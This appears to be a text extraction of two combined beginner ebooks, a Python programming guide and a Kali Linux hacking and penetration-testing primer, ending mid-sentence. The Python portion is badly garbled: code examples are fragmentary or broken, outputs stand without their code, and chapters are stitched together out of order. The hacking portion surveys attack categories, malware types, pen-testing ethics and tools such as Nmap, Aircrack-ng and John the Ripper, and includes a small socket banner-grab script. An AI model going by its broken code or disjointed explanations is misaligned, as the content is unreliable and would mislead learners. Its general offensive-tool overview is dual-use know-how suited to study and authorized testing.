Hacking With Python
Hacking With Python
Python
2 Manuscripts:
Python and Hacking
Guides
Python
Python Programming
Beginner’s Guide
Hacking
Hacking Practical
Guide for Beginners
By: Jeff Simon
Python Introduction
This book contains proven steps and
strategies on how to use Python to create
programs. It shows you how to follow
commands and deliver your desired
output.
This book also contains useful
information regarding what Python is, its
syntax as well as its functions. It also
contains examples to help you
understand the programming language
better.
Hacking Introduction
This book contains proven steps and
strategies on how to learn the
fundamentals of hacking.
This eBook will teach you the basic
principles of hacking. It will explain the
three types of hackers as well as the
tools that you can use. It will give you a
detailed study plan on how to improve
your skills and knowledge in a short
period of time. In addition, this book
will teach you how to use the Python
programming language.
An entire chapter is dedicated to
penetration testing. That chapter will
explain the different parts and
requirements of an effective test.
Additionally, that material will arm you
with specific tools and techniques that
you can use in your own “pen tests”.
The lessons that you’ll find in this book
rely on an operating system called Kali
Linux. Kali is the preferred OS of
hackers and penetration testers. This OS
contains an extensive collection of
hacking tools. With Kali, you won’t have
to download and install extra programs.
You can use it as is.
This eBook will also discuss defense-
oriented topics such as malware
protection. This way, you’ll know what
to do in case you have to attack a target
or thwart a hacker’s efforts.
© Copyright 2016 by Jeff Simon - All
rights reserved.
Python Programming
Beginner’s Guide
By: Jeff Simon
Table of Contents
Introduction
Chapter 1: Introduction to
Python
Chapter 2: Basic Syntax
Chapter 3: Variables
Chapter 4: Operators
Chapter 5: Functions
Chapter 6: Modules
Chapter 7: Lists
Chapter 8: Handling and
Manipulating Files
Chapter 9: Directories
Conclusion
Introduction
if True
print “Input”
print “Correct”
else:
print “Input”
print “False
# First comment
print “Sample Comment”;
# second comment
When you run the above give code, you
will get an output of:
Sample Comment
If you want, you can also write a
comment after an expression or
statement. Look at the following
example:
name = “Wendy” # This is a sample
comment
You can even comment on multiple lines
if you want. Just look at the following
example of comments:
# This is a sample comment.
# This one is also a comment.
# This is another comment.
# This comment is written by Wendy.
Blank Lines
Comments are not the only ones ignored
in Python. The programming language
ignores blank lines too. These lines do
not contain anything else aside from
whitespaces. Nevertheless, they may
contain comments. When it comes to
interactive interpreter sessions, you need
to use empty lines if you wish to
terminate multiline statements.
Waiting for User
If you are not yet done with your
application but you want to keep the
console window open, use \n\n. This
can create two more lines before the
actual line is shown. Here is an example
to help you out:
raw_input (“\n\n Hit Enter to exit.”)
print amount
print kilometers
print name
Strings
What about strings? Well, they are
contiguous sets of characters. They are
represented with quotation marks ( ‘ ‘ ).
As a programmer, you can use either
single quotes or double quotes in your
program. However, see to it that you are
consistent with whatever you choose to
use. For instance, if you chose to go
with single quotes, go with single quotes
all the way. Likewise, when you go with
double quotes, make sure to use double
quotes all throughout your program. This
way, you can avoid confusions, errors,
and misrepresentations.
In this programming language, you can
also use the slice operator ( [ : ] ) or ( [
] ) when it comes to dealing with string
subsets. An asterisk ( * ) is also ideal to
be used as a repetition operator.
Moreover, you can use the plus sign ( +
) as your string concatenation operator.
Check out the following example to
understand this concept better:
#!/usr/bin/env python
[ ‘wxyz’, ‘3.1415926535900001,
‘wendydawn’, ‘david’ ]
wxyz
[ ‘david’ ]
[ ‘wendydawn’, ‘david’ ]
[ 123, 123, 123]
[ ‘wxyz’, 3.1415926535900001,
‘wendydawn’, ‘david’, 123 ]
Tuples
Tuples are basically sequences of
immutable objects. Up to some extent,
they are just like lists. However, it is not
possible to change them and they need to
have parentheses ( ( ) ) rather than
square brackets ( [ ] ). This means you
can’t add, delete or change any element
from a tuple. Its main purpose is to keep
things constant.
Programmers are not perfect. They make
mistakes in their programs, too. There
may be times when you change a
variable, which you shouldn’t. If you do
this, just convert a tuple into a list or
vice versa.
Tuples are also heterogeneous data
structures. This means that their entities
have different meanings. They are
different from lists that are homogeneous
sequences. Tuples have structure and
lists have order.
Do not worry because it is easy to write
tuples. All you have to do is separate the
values with the use of a comma ( , ).
Take a look at the following example:
tup1 = ( ‘algebra’, ‘physics’, 1900 ,
2015 );
tup2 = ( 5, 6, 7, 8 );
tup3 = “w”, “x”, “y”, “z”;
An example of a dictionary:
foobar = { ‘name‘ : ‘Wendy Dawn’, ‘age’ : 20 +
7, ‘profession’ : “engineer” }
print foobar [ ‘name’ ]
print foobar [ ‘age’ ]
print foobar [ ‘profession’ ]
foobar [ ‘city’ ] = “New York”
print foobar [ ‘city’ ]
Bitwise Operators
Operator Description
& binary It copies the bit if it is
AND present in both operands.
| binary OR It copies the bit if it is
present in either
operand.
^ binary It copies the bit if it is
XOR present in one operand,
but not both.
~ binary It flips bits.
ones
complement
<< binary It moves the value of the
left shift left operand towards the
left based on the number
of bits assigned by the
right operand.
>> binary It moves the value of the
right shift left operand towards the
right based on the
number of bits assigned
by the right operand.
Logical Operators
Operator Description
And The condition is true if
logical both operands are true.
AND
Or The condition is true if an
logical operand is non-zero.
OR
Not It reverses the logical state
logical of the operand.
NOT
Membership Operators
Operator Description
Is If the variables on either
side of the operator point
toward the same object, it
evaluates to true.
Otherwise, it evaluates to
false.
Not in If it does not find a
variable in a particular
sequence, it evaluates to
true. Otherwise, it
evaluates to false.
Identity Operators
Operator Description
Is If the variables on either
side of the operator point
towards the same object, it
evaluates to true.
Otherwise, it evaluates to
false.
Is not If the variables on either
side of the operator point
towards the same object, it
evaluates to false.
Otherwise, it evaluates to
true.
Chapter 5 - Functions
Calling Functions
When you define functions, make it a
point to include names, structures and
parameter specifications. Provide a
name to the function as well as a
structure to the code. In addition, you
need to define the parameter that you use
in this particular function. When you
finalize the basic structure of the
function, you can start calling it from
another function. The moment you do
this, you can execute the function. As the
programmer, you can also call the
function directly right from the prompt.
Take a look at the following example:
Math Functions
Math functions are those specifically
designed for special mathematical
operations. Always remember that you
cannot use them if you are also using
complex numbers.
The following are the math functions you
need to use in the Python programming
language:
math.ceil ( x ) –returns the ceiling of x,
which is the smallest integer that is
greater than or equal to ( ≥ ) x. It
delegates to x . _ ceil _ ( ) if x is not a
float. It returns an integral value.
math.fabs ( x ) – returns the absolute
value of x ( | x | ).
math.copysign ( x, y ) –returns a float
with the magnitude of x and the sign of y.
math.factorial ( x ) –returns the x
factorial. If x is negative or is not an
integral, it raises the exception
ValueError.
math.floor ( x ) –returns the floor of x,
which is the largest integer that is less
than or equal to ( ≤ ) x. It delegates to x .
_ floor ( ) if x is not a float. It returns an
integral value.
math.frexp ( x ) – returns the exponent
and mantissa ( coefficient or significand
) of x as the pair m and e ( m, e ) such
that x = m * 2 ^ e, where m is a float and
e is an integer.
math.fmod ( x, y ) – returns fmod ( x, y
). Take note that in this programming
language, the expression x % y may not
yield the same output as in C. It returns a
result with the sign of y. It may not be
computable for a float argument as well.
It is actually more ideal to be used with
integers rather than floats.
math.fsum ( iterable ) – returns the
right floating point sum of values in the
iterable and tracks multiple intermediate
partial sums to avoid loss of precision.
math.isinf ( x ) – confirms whether float
x is either negative or positive infinite.
math.isnan ( x ) – confirms whether if
the float x is a NaN ( not a number ).
math.modf ( x ) – returns the integer and
fractional parts of x. The results that you
get are floats with the sign of x.
math.ldexp ( x, i ) – returns x * ( 2 * * i
).
math.modf ( x ) – returns the integer and
fractional parts of x. The results you get
are floats with the sign of x.
math.trunc ( x ) – returns the real value
of x that is truncated to an integral.
math.exp ( x ) – returns e * * x.
math.log1p ( x ) – returns the natural
logarithm of 1 + x ( base e ).
math.log ( x [ , base ] ) – returns the
logarithm of x to the given base, and the
natural logarithm of x when there is no
specific base.
math.log10 ( x ) – returns the base 10
logarithm of x.
math.sqrt ( x ) – returns the square root
of x.
math.pow ( x, y ) – returns x raised to
the power of y.
math.sin ( x ) – returns the sine of x ( sin
( x ) ), in radians.
math.cos ( x ) – returns the cosine of x (
cos ( x ) ), in radians.
math.tan ( x ) – returns the tangent of x (
tan ( x ) ), in radians.
math.asin ( x ) – returns the arc sine of x
( arcsin ( x ) ), in radians.
math.acos ( x ) – returns the arc cosine
of x ( arccos ( x ) ), in radians.
math.atan ( x ) – returns the arc tangent
of x ( arctan ( x ) ), in radians.
math.atan2 ( y, x ) – returns atan ( y / x
), in radians.
math.hypot ( x, y ) – returns sqrt ( x * x
+ y * y ), which is the Euclidean norm
or the magnitude.
math.radians ( x ) – converts the angle x
from degrees ( deg ) to radians ( rad ).
math.degrees ( x ) – converts the angle
x from radians ( rad ) to degrees ( deg ).
math.asinh ( x ) – returns the inverse
hyperbolic sine of x.
math.acosh ( x ) – returns the inverse
hyperbolic cosine of x.
math.atanh ( x ) – returns the inverse
hyperbolic tangent of x.
math.sinh ( x ) – returns the hyperbolic
sine of x.
math.cosh ( x ) – returns the hyperbolic
cosine of x.
math.tanh ( x ) – returns the hyperbolic
tangent of x.
math.e – is the mathematical constant e.
math.pi – is the mathematical constant
pi.
math.sqrt ( x ) :
import math
print math.sqrt ( 25.0 )
print math.sqrt ( 5 )
try:
print math.sqrt ( - 3 )
except ValueError, err:
print ‘Not possible to compute for
the sqrt ( - 3 ) : ‘ , err
math.log ( x ) :
import math
print math.log ( 12 )
print math.log ( 12, 3 )
print math.log ( 0.5, 4 )
def add ( x, y ) :
print “ addition of %d + %d “ % (
x, y )
return x + y
def subtract ( x, y ) :
print “ subtraction of %d - %d “
% ( x, y )
return x – y
def multiply ( x, y ) :
print “ multiplication of %d * %d
“ % ( x, y )
return x * y
def divide ( x, y ) :
print “ division of %d / %d “ % (
x, y )
return x / y
String sample
Required Argument
The required argument is an argument
passed on to a function in a particular
positional order. As the programmer, be
mindful of the number of arguments you
use in your program. Make sure it
matches the function definition that you
use. To call the function printme ( ), you
have to pass an argument. Otherwise,
you will surely get a syntax error. Take a
look at the following example:
Variable-Length Argument
When you define a function, you may
have to process it for more than the
number of arguments that you have in
your program. This is referred to as the
variable-length argument. Unlike the
required or default argument, it is not
declared in the function definition. A
function that has a non-keyword variable
argument has a syntax like the following:
def functionname ( [ formal_args, ]
“var_args_tuple ) :
“function_docstring”
function_suite
return [expression]
Default Argument
The default argument is the argument,
which assumes a default value in case
the value is not stated in the function
call. To help you know more about
default arguments, take a look at the
following example:
# This is where you put the function
definition
def printinfo ( name, age = 20 ):
“It prints a passed info into the
function”
print “What is your name?”, name;
print “How old are you?”, age;
return;
# You can call the printinfo function here
printinfo ( age = 27, name = “Wendy
Dawn” );
printinfo ( name = “Wendy Dawn” );
Return Statements
Return statements are statements that exit
functions and return expressions to the
caller. They are just like return None if
they do not have any argument.
Scope of Variables
You may not access a variable at a
certain location. This is why you need to
determine the place in which you
declared it in your program. In other
words, you need to have a scope of your
variables. This determines where you
are allowed to access identifiers.
Generally, there are two scopes of
variables in Python: local and global.
Local Variables and Global Variables
When it comes to defining a variable
within a function, assign it with a local
scope. On the other hand, when you
define a variable outside of your
function, you have to assign it with a
global scope. You can only access a
local variable within the function in
which it has been declared; but you can
access a global variable anywhere in
your program. Each time you call a
function, you bring the variable declared
within it into scope.
#!/usr/bin/env python
First : 1
Second : 2
Third : 3
The rest of the numbers are . . . [ 4, 5 ]
The sum is 6
The result is 1
As you can see in the example, the
function foo receives three arguments
and prints the sum if it receives another
action.
In the Python programming language,
both input and output are differentiated
by the presence and absence of prompts
( >>> and … ).
The Unicode
All the strings in the program support the
Unicode. It provides an ordinal for the
characters in the script of modern and
ancient texts. In the past, only about 256
ordinals are allowed for script
characters. The texts were bound to code
pages that mapped ordinals to script
characters. Because of this, confusion
and misunderstandings on
internationalization occurred.
Thankfully, programmers such as you
can resolve issues like this by using the
Unicode. The Unicode is capable of
defining code pages for your scripts. If
you wish to include certain characters in
your string, you may use Python
Unicode-Escape encoding. Take a look
at the following example:
>>> ‘Flying\u0020Circus’
‘Flying Circus’
Input:
len ( [ 1, 2, 3 ] )
Output:
3
As you can see in the above given
example, len was used to determine the
length of the expression in the program.
Input:
[ 1, 2, 3 ] + [ 4, 5, 6 ]
Output:
[ 1, 2, 3, 4, 5, 6 ]
Modifying a List
You can assign variables to individual
slices or items. After that, you can delete
them if you want. Take a look at the
following example:
L [ i ] = onj
L [ i : j ] = sequence
Sorting a List
When it comes to sorting lists, you can
use sort. It has the following syntax:
L.sort ( )
Hacking Practical
Guide for Beginners
By: Jeff Simon
Introduction
I want to thank you and congratulate you
for downloading the book, “Hacking:
Hacking for Beginners”.
This book contains proven steps and
strategies on how to learn the
fundamentals of hacking.
This eBook will teach you the basic
principles of hacking. It will explain the
three types of hackers as well as the
tools that you can use. It will give you a
detailed study plan on how to improve
your skills and knowledge in a short
period of time. In addition, this book
will teach you how to use the Python
programming language.
An entire chapter is dedicated to
penetration testing. That chapter will
explain the different parts and
requirements of an effective test.
Additionally, that material will arm you
with specific tools and techniques that
you can use in your own “pen tests”.
The lessons that you’ll find in this book
rely on an operating system called Kali
Linux. Kali is the preferred OS of
hackers and penetration testers. This OS
contains an extensive collection of
hacking tools. With Kali, you won’t have
to download and install extra programs.
You can use it as is.
This eBook will also discuss defense-
oriented topics such as malware
protection. This way, you’ll know what
to do in case you have to attack a target
or thwart a hacker’s efforts.
If you’re looking for a comprehensive
book about basic hacking, this is the
book you need.
Thanks again for downloading this book,
I hope you enjoy it!
Table of Contents
Chapter 1: The Fundamentals
of Hacking
Chapter 2: Hacking - A Guide
for Beginners
Chapter 3: How to Hack with
Python
Chapter 4: Basic Computer
Security
Chapter 5: Penetration Testing
Chapter 6: Specific Hacking
Techniques
Chapter 7: How to Protect
Yourself
Conclusion
Chapter 1: The
Fundamentals of
Hacking
There are three types of hackers:
1. White hat
2. Black hat
3. Gray hat.
A white hat (also known as ethical)
hacker tries to breach network systems
in order to help businesses and
organizations in improving their digital
defenses. A black hat hacker,
meanwhile, accesses digital records
and/or devices for malicious purposes.
A gray hat hacker is a combination of the
first two types: he may be a white hat
this time and become a black hat in the
next.
Important Note: There are laws that
prohibit black hat hacking. You can get
incarcerated if you’ll try to access
digital information without the owner’s
permission. Because of that, this book
will help you become an ethical hacker.
It will provide you with tips, tricks, and
techniques that you can use in hacking
systems ethically.
Benefits of Ethical Hacking
To protect yourself from thieves, you
need to think like one. This principle
serves as the core of white hat hacking.
The total number of hackers is growing
each day. And these people are on a
continuous quest to improve their skills
and expand their knowledge. If you will
consider the vulnerabilities that exist in
machines and digital networks, you will
realize the awful state of security that
people have against hackers. You need
to protect your system from the bad guys.
To achieve this goal, you should know
how to hack.
The goals of a white hat hacker are:
Attack a system without destroying it
Identify system vulnerabilities
Prove that vulnerabilities exist
Help in improving the security of his
target
Different Types of Hacking
Attacks
Hackers divide their attacks into
different types. These types are:
Nontechnical
These techniques focus on the end-users
(i.e. the people who use the target
devices). Because humans have a natural
tendency to trust others, hackers can
break through a system’s defenses
without using any electronic tool. These
hackers may use “social engineering”
tactics to obtain a user’s trust and gain
access to a network or file. You’ll learn
more about social engineering later on.
A hacker may also implement a physical
attack against his target. For instance, he
may break into a computer room and
access one or more devices that are
present. As an alternative, he may check
the dumpsters in the building and try to
look for useful information (e.g.
passwords). Hackers refer to this
approach as “dumpster diving”.
Network
Hackers can implement this kind of
attack easily, since most networks are
accessible through the internet. The most
common forms of network attacks are:
Accessing a network using a rigged
modem
Taking advantage of vulnerabilities
in digital transport mechanisms (e.g.
NetBIOS)
Sending a continuous stream of
requests to a network
Rigging the system and collecting
data packets to access confidential
information
Operating System
These attacks play an important role in
any hacker’s toolkit. That’s because each
computer has an operating system. And
there are a lot of tools that you can use to
crack the OS (i.e. operating system) of a
computer.
There are a lot of operating systems out
there. However, hackers usually focus
on the most popular ones (e.g. Windows
systems). Here are some of the OS
attacks that you can use:
Destroying the security of a file
system
Deciphering passwords
Attacking pre-installed
authentication mechanisms
Taking advantage of vulnerabilities
in certain protocols
Application
Some hackers utilize computer programs
to attack networks. Often, a hacker gains
access to a machine through a web-
based application or an email-related
program. The most popular members of
this type are:
Sending “spam” (i.e. junk mail) to
people
Installing malware (i.e. malicious
software) in target systems
Bypassing security mechanisms (e.g.
firewall) through “online” protocols
(e.g. SMTP, HTTP, IMAP, etc.)
Chapter 2: Hacking -
Installing a Module
Just like other Linux systems, Kali Linux
requires “wget” when acquiring new
files or programs from the internet. This
command downloads your chosen file or
program from its respective repository.
Then, you have to decompress the
downloaded module and issue the
following command:
python setup.py install
Proper Formatting
Formatting plays an important role in the
Python language. The interpreter of
Python groups codes based on their
format. Keep in mind that consistency is
more important than precision. You don’t
have to follow strict formatting rules.
You just have to be consistent with the
format you are using.
For example, if you’ll use double
indentation to differentiate a code block,
indent each line of that code block
twice. Forgetting this simple rule can
lead to error messages and/or failed
attacks.
Modules
With Python, you can divide your codes
into separate modules. You must
“import” a module in order to use it.
When importing a module, you will
access the classes, methods, and
functions (you’ll learn about these later)
that are present inside that module. This
feature is one of the major reasons why
Python is the preferred computer
language of computer hackers.
Object-Oriented
Programming
At this point, it’s important to discuss
object-oriented programming (or OOP).
OOP is a coding model that serves as the
core principle behind major computer
languages (e.g. Java). You need to
understand OOP if you want to be a
skilled hacker.
Variables
Variables point to information that exists
in a computer’s memory. In Python, this
memory can keep different pieces of
data (e.g. strings, lists, integers,
Booleans, dictionaries, real numbers,
etc.).
Variable types act like classes. The
script you’ll see below shows some of
these types.
Launch a text editor and type the
following code:
#!usr/bin/python/
SampleStringVariable = "This is an
awesome variable.";
SampleList = [10,20,30,40,50]
SampleDictionary = {‘example’:
‘Hacker’, ‘number’: 23}
print SampleStringVariable
Functions
The Python language comes with
preinstalled functions. Kali Linux has an
extensive collection of functions,
although you may download more from
online libraries. Here are some functions
that you’ll use in your programs:
int() – Use this function to truncate
numeric data. It simply gives the
integer part of the argument.
len() – This function counts the items
in a list.
exit() – This function lets you exit a
program.
max() – With this function, you can
determine the highest value of a list.
type() – Use this function to identify
the data type of a Python object.
float() – This function converts its
argument into a floating-point
numeral.
sorted() – Use this function to sort
the entries of a list.
range() – This function gives a list of
numbers between two specific
values. You need to set the said
values as the function’s arguments.
Lists
Most programming languages use arrays.
An array is a collection of different
objects. You may retrieve an entry from
an array by specifying the position of the
former. For example, you can get the
fourth value of an array by typing [4].
Python has a similar feature, but it is
known as “list”.
Python lists are “iterable”. That means
you can use them for your loop
statements (you’ll learn more about
loops later). Let’s assume that you want
to retrieve the third element of the
“SampleList” (i.e. the one you created
earlier). Here are the things that you
should do:
1. Type the word “print”. This
command allows you to display
information.
2. Specify the name of the list (i.e.
SampleList).
3. Add a pair of brackets.
4. Insert “2” between the brackets. This
number signifies the position of the
item you want to retrieve. It is
important to note that the numbering
begins at zero. Thus, typing “1” will
give you the second element, typing
“2” will give you the third element,
etc.
The Python script should look like this:
print SampleList[2]
import socket
practice = socket.socket()
practice.connect(("192.168.1.107",
22))
sample = practice.recv(1024)
print sample
practice.close
Computer Security
This chapter will focus on topics related
to computer security (e.g. privacy,
networking, passwords, etc.). After
reading this article, you will know how
to protect yourself from other hackers.
You will also know how to execute
attacks against the defenses of your
targets. You must read this material
carefully: computer security is important
for the “offense” and “defense” of
hacking.
Passwords
You should treat security as an important
part of using a computer. You are
probably using the internet to perform a
research, read your emails, buy stuff, or
sell your own merchandise. These things
have become easier because of
computers and networks. However, this
convenience comes with a hefty price:
lack of security.
The following tips will help you in
protecting yourself from hackers:
Don’t share your usernames and
passwords to anyone (not even your
closest friends).
Read the security/privacy policies of
each site that you will access before
entering personal data.
Don’t buy anything from untrusted
sites. The last thing you want to do is
give your money and/or financial
information to unscrupulous
individuals. If you want to buy
something online, look for
trustworthy sites such as
www.amazon.com and
www.ebay.com.
Do not share the login credentials of
your email accounts with other
people. Some emails contain private
and/or confidential information.
Keep in mind that keeping your
passwords secret isn’t enough. A hacker
can still access that piece of information
through a keylogger. Basically, a
keylogger is a program that records all
the keys that you press. To protect your
computer from keyloggers, you should:
Make sure that your computer’s
firewall is on
Run spyware/adware scanners on a
regular basis
Use an on-screen keyboard to enter
your login credentials
Install an anti-malware program on
your machine
Malware
The term “malware” refers to programs
that are designed to “infect” an
electronic device (e.g. computer, tablet,
smartphone, etc.). Let’s discuss the
different types of malware:
Viruses
Basically, viruses are computer
programs that infect other programs.
Most viruses run only when the program
they infected runs. This is the main
reason why viruses are hard to detect. A
virus has two parts: the “infector” and
the “payload”. Keep in mind, however,
that the payload is not required. That
means a harmless program is still a virus
if it attaches itself to a trusted computer
program.
Trojans
This term came from the legendary
“Trojan Horse”, a large wooden horse
that spelled doom for Troy. In hacking, a
Trojan is a program that contains other
programs. The “container” is typically
harmless. In fact, it can be a program
that attracts unsuspecting users. Once a
person downloads and installs a Trojan
program, the malware inside will spread
in the target machine.
Spyware
This is one of the most dangerous
malware out there. Basically, spyware
records the activities you do on your
computer and transmits the data to the
hacker. This data transmission occurs
via the internet. Hackers divide spyware
into two types: harmless and harmful.
Harmless spyware focuses on non-
confidential data (e.g. the websites you
visit). Harmful spyware, on the other
hand, collects confidential information
(e.g. passwords).
Adware
Basically, adware is a form of malware
that shows advertisements on a person’s
computer. This malware becomes
extremely active whenever the infected
machine is online.
It is true that adware is one of the safest
forms of malicious programs. However,
it can be frustrating if a pop-up
advertisement will appear whenever you
click on a browser.
The Fundamentals
Website security consists of two aspects:
internal and external. The internal aspect
refers to the nature of the information
you are handling. For instance, your
website is secure if you are not dealing
with confidential data. Few hackers
would attack your site if they won’t
benefit from it. The external aspect, on
the other hand, involves the settings of
your website, the applications you
installed on it, and the codes you used in
creating it.
Website Vulnerabilities
Here’s a basic truth: your website has
vulnerabilities. It can be an open port, an
active service, or a fault in the code
used in crafting your site. These
vulnerabilities serve as doors that
hackers can use to get inside your
network or server. In addition, hackers
tend to share their knowledge with
others. If a hacker detects a vulnerability
in a popular app or website, it’s likely
that he will share the information with
others. He might also create a hacking
tool for that target and distribute the
former to his “brothers” and/or
“sisters”.
It’s important to keep yourself updated
with the latest vulnerabilities of your
systems. Get the latest patch for your
website whenever possible.
Penetration Testing
Penetration testing (also called ethical
hacking) is the process of attacking a
network or system to detect and fix the
target’s weaknesses. Businesses are
willing to shell out some cash in order to
protect their systems from black hat
hackers. Because of this, penetration
testing serves as a profitable and
exciting activity for ethical hackers.
This chapter will teach you the basics of
penetration testing. It will explain the
core principles of “pen testing” and give
you a list of tools that you must use. In
addition, it will provide you with a step-
by-step plan for conducting a penetration
test.
Penetration Testing – The
Basics
A penetration tester tries to breach the
defenses of his target without prior
access to any username, password, or
other related information. The tester will
use his skills, tools, and knowledge to
obtain data related to his target and
prove the existence of vulnerabilities.
When attacking a local network, a
penetration test would be considered
successful if the tester successfully
collects confidential information.
As you can see, penetration testing has a
lot of similarities with malicious
hacking. There are two major
differences between these two:
permission and the hacker’s intentions.
A tester has the permission to attack his
target. And his main goal is to help his
clients improve their digital security. In
contrast, malicious hackers don’t ask for
the target’s permission. They simply
perform attacks in order to steal
information, destroy networks, or attain
other horrible goals.
Often, a tester needs to attack his target
as a basic user. He must enhance his
access rights and/or collect information
that other basic users cannot reach.
Some clients want the tester to focus on
a single vulnerability. In most cases,
however, a tester must record each
weakness that he will discover. The
repeatability of the hacking process is
important. Your clients won’t believe
your findings if you can’t repeat what
you did.
The Rules of Penetration
Testing
Remember that there’s a fine line
between penetration testing and
malicious hacking. To make sure that you
will not “go over” to the dark side,
follow these simple rules:
Focus on Ethics
You should work as a professional.
Consider your morals and personal
principles. It doesn’t matter whether
you’re attacking your own computer or
testing a company’s network: all of your
activities must be aligned with your
goals. Do not aim for any hidden agenda.
As an ethical hacker, trustworthiness is
your main asset. Never use client-related
information for personal purposes. If
you’ll ignore this rule, you might find
yourself behind bars.
Respect Privacy
Every piece of information that you’ll
collect during a penetration test is
important. Never use that data to gather
corporate details or spy on other people.
If you have to share any information, talk
to the authorized personnel.
Secure Permission
Don’t do anything on your target until
you have written permission from your
client. This document can protect you
from nasty lawsuits or similar problems.
Verbal authorization is not sufficient
when performing hacking attacks.
Remember: countries are implementing
strict rules and penalties regarding
activities related to hacking.
Formulate a Plan
A plan can boost your chances of
succeeding. Hacking a system can be
extremely complicated, especially when
you are dealing with modern or
unfamiliar systems. The last thing you
want to do is launch an attack with
unorganized thoughts and tricks.
When creating a plan, you should:
Specify your target/s
Determine the risks
Determine the schedule and deadline
of your penetration test
Specify the methods that you’ll use
Identify the information and access
that you will have at the start of your
test
Specify the “deliverables” (the
output that you’ll submit to your
client)
Focus on targets that are vulnerable or
important. Once you have tested the
“heavyweights”, the remaining part of
the test will be quick and easy.
Here are some targets that you can
attack:
Mobile devices (e.g. smartphones)
Operating Systems
Firewalls
Email servers
Network Infrastructure
Workstations
Computer programs (e.g. email
clients)
Routers
Important Note: You should be extremely
careful when choosing a hacking method.
Consider the effects of that method and
how your target will likely respond. For
example, password crackers can lock
out legitimate users from the system.
This type of accident can be disastrous
during business hours.
Choose Your Tools
Kali Linux contains various hacking
tools. If you are using that operating
system, you won’t need to download
other programs for your penetration
tests. However, Kali’s large collection
of tools can be daunting and/or
confusing. You might have problems
identifying the tools you need for each
task that you must accomplish.
Here are some of the most popular tools
in Kali Linux:
Nmap – You’ll find this program in
the toolkit of almost all hackers. It is
one of most powerful tools that you
can use when it comes to security
auditing and network discovery. If
you are a network administrator, you
may also use Nmap in tracking host
uptime, controlling the schedule of
your service upgrades, and checking
network inventory.
This tool is perfect for scanning huge
computer networks. However, it is also
effective when used against small
targets. Because Nmap is popular, you
will find lots of available resources in
mastering this program.
Ghost Phisher – This tool is an
Ethernet and wireless attack
program. It can turn your computer
into an access point (or a hotspot)
and hijack other machines. It can
also work with the Metasploit
framework (you will learn more
about Metasploit later).
Maltego Teeth – With this program,
you will see the threats that are
present in your target’s environment.
Maltego Teeth can show the
seriousness and complications of
different failure points. You will
also discover the trust-based
relationships inside the infrastructure
of your target.
This tool uses the internet to collect
information about your target system and
its users. Hackers use Maltego Teeth to
determine the relationships between:
Domains
Companies
Phrases
Files
People
Netblocks
Websites
IP addresses
Affiliations
Wireshark – Many hackers consider
this tool as the best analyzer for
network protocols. It allows you to
monitor all activities in a network.
The major features of Wireshark are:
It can capture data packets and
perform offline analysis
It can perform VoIP (i.e. Voice
over Internet Protocol) analysis
It has a user-friendly GUI
(graphical user interface)
It can export data to different file
types (e.g. CSV, plaintext, XML,
etc.)
It can run on different operating
systems (e.g. OS X, Linux,
NetBSD, etc.)
Exploitdb – The term “exploitdb” is
the abbreviation for “Exploit
Database”. Basically, exploitdb is a
collection of exploits (i.e. a program
that “exploits” a target’s
vulnerability) and the software they
can run on. The main purpose of this
database is to provide a
comprehensive and up-to-date
collection of exploits that computer
researchers and penetration testers
can use.
You need to find vulnerability before
attacking a target. And you need an
exploit that works on the vulnerability
you found. You’ll spend days (or even
weeks) just searching for potential
weaknesses and creating effective
exploits. With exploitdb, your tasks will
become quick and easy. You just have to
run a search for the operating system
and/or program you want to attack, and
exploitdb will give you all the
information you need.
Aircrack-ng – This is a collection of
tools that you can use to test WiFi
networks. With Aircrack-ng, you can
check the following aspects of
wireless networks:
Testing – You can use it to test
your drivers and WiFi cards.
Attacking – Use Aircrack-ng to
perform packet injections against
your targets.
Cracking – This tool allows you
to collect data packets and crack
passwords.
Monitoring – You may capture
packets of data and save them as
a text file. Then, you may use the
resulting files with other hacking
tools.
Johnny – This tool is an open-source
GUI for “John the Ripper”, a well-
known password cracker. It is
possible to use “JTR” as is.
However, Johnny can automate the
tasks involved in cracking
passwords. In addition, this GUI
adds more functions to the JTR
program.
Network Penetration
This facet focuses on the physical
attributes of your target. The main goal
of this facet is to identify vulnerabilities,
determine risks, and ensure the security
of a network. As the hacker, you should
search for flaws in the design, operation,
or implementation of the network you’re
dealing with. You will probably hack
modems, computers, and access devices
in this part of the attack.
Application Penetration
In this facet, you will concentrate on the
target’s logical structure. It simulates
hacking attacks to verify the
effectiveness of the network’s existing
defenses. Application penetration
usually requires hackers to test the
firewall and/or monitoring mechanisms
of their target.
System Workflows or
Responses
This facet focuses on how the
organization’s workflows and responses
will change during an attack. It also
involves the relationship of end-users
with their computers. During this, the
penetration tester will know whether the
members of the network can prevent
malicious attacks.
Manual and Automated Tests
Penetration testers divide tests into two
categories: manual and automated.
Manual tests rely on the skills of a white
hat hacker. The tester has complete
control over the process. If he makes a
mistake, the entire penetration test can
prove to be useless. Automated tests, on
the other hand, don’t need human
intervention. Once the test runs, the
computer will take care of everything:
from selecting targets to recording the
results.
In this part of the book, you’ll learn
important information regarding these
types of tests. You need to master this
concept if you’re serious about hacking.
With this knowledge, you can easily
determine the type of test that must be
used in any situation.
Data Gathering
Penetration tests involve long and
complex processes. As a result, you
need to describe every piece of
information that you’ll collect during the
attack. Describing your hacking
techniques isn’t enough. You should also
explain your assessments, the results of
your scans, as well as the output of your
hacking tools.
Creating Your First Draft
Write the initial draft of your report after
collecting all the information you need.
Make sure that this draft is full of
details. Focus on the processes,
experiences, and activities related to
your test.
Proofreading
Typographical and/or grammatical
errors can ruin your report. Thus, you
need to review your work and make sure
that it is error-free. Once you’re
satisfied with your output, ask your
colleagues to check it. This approach
will help you produce excellent reports.
Penetration Tests
As a hacker, you will deal with
confidential data concerning a business
or organization. Accidents might happen,
and the information may leak to other
people. That means you need to be
prepared for legal issues that may arise
in your hacking projects.
This part of the book will discuss the
legal aspect of hacking. Read this
material carefully: it can help you avoid
lawsuits and similar problems.
Legal Problems
Here are some of the legal problems that
you may face:
Leakage of confidential information
Financial losses caused by faulty
tests
You can prevent the problems given
above by securing an “intent statement”.
This statement proves the agreement
between the client and the tester. This
document describes all of the details
related to the penetration test. You’ll use
an intent statement to avoid legal issues
in the future. Thus, both parties should
sign the document before the test starts.
Chapter 6: Specific
Hacking Techniques
This chapter will teach you several
hacking techniques. These techniques are
basic, yet extremely effective. They
work in different situations: you may use
them during practice or while testing a
network. In addition, they rely on tools
that are present in Kali Linux. If you are
using Kali as your OS for your hacking
activities, you won’t have to download
any additional tool.
Important Note: Kali Linux is an OS that
is especially designed for hackers and
penetration testers. It’s not meant to
replace Windows or OS X. You can
install Kali on a flash drive so you
won’t have to uninstall the OS of your
